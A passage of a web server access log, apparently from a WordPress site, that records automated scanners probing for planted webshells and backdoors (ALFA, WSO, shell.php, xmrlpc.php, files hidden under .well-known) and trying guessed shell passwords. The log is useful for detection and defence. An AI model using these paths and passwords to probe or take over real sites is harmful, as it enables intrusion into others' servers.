Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:12 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:27:12 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:27:12 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:13 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:27:13 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:13 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:13 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:13 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:27:14 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:27:14 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:27:14 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 2602:fb54:9bb:: - - [23/Apr/2025:03:38:20 -0400] "GET /wp-content/themes/homey/css/main.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 4.227.36.56 - - [23/Apr/2025:04:00:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.228 - - [23/Apr/2025:04:00:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 47.238.13.14 - - [23/Apr/2025:04:04:55 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 43.165.65.180 - - [23/Apr/2025:04:19:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.83.103.205 - - [23/Apr/2025:04:44:29 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.205 - - [23/Apr/2025:04:44:30 -0400] "GET /.circleci/configs/development.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 52.164.127.136 - - [23/Apr/2025:05:36:34 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:38 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:40 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:41 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:43 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:45 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:46 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:47 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:48 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:49 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:50 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:51 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:52 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:52 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:53 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:53 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:54 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:55 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:57 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:36:58 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:01 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:03 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:04 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:05 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:07 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:08 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:09 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:10 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:12 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:12 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:15 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:16 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:17 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:19 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:21 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:23 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:25 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:26 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:29 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:33 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:35 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:36 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:37 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:39 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:41 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:42 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:43 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:44 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:45 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:46 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:47 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:48 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:49 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:50 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:50 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:51 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:52 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:53 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:56 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:37:58 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:00 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:01 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:03 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:04 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:05 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:07 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:08 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:10 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:11 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:13 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:15 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:19 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:21 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:23 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:25 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:26 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:27 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:28 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:29 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:30 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:31 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:32 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:33 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:34 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:35 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:35 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:36 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:37 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:38 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:39 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:41 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:42 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:43 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:44 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:45 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:46 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:47 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:48 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:48 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:49 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:50 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:51 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:51 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:52 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:53 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:54 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:55 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:56 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:57 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:58 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:38:59 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:00 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:02 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:03 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:05 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:06 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:08 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:09 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:10 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:10 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:11 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:12 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:12 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:13 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:13 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:14 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:15 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:15 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:16 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:17 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:18 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:18 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:18 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:19 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:19 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:21 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:21 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:22 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:23 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:24 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:26 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:27 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:27 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:28 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:28 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:29 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:30 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:31 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:32 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:35 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:37 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:39 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:40 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:41 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:41 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:42 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:43 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:43 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:45 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:46 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:47 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:48 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:50 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:50 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:51 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:51 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:52 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:52 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:53 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:53 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:54 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:55 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:55 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:55 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:56 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:57 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:58 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:39:59 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:01 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:02 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:05 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:08 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:10 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:13 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:17 -0400] "GET /0x.php HTTP/1.1" 301 795 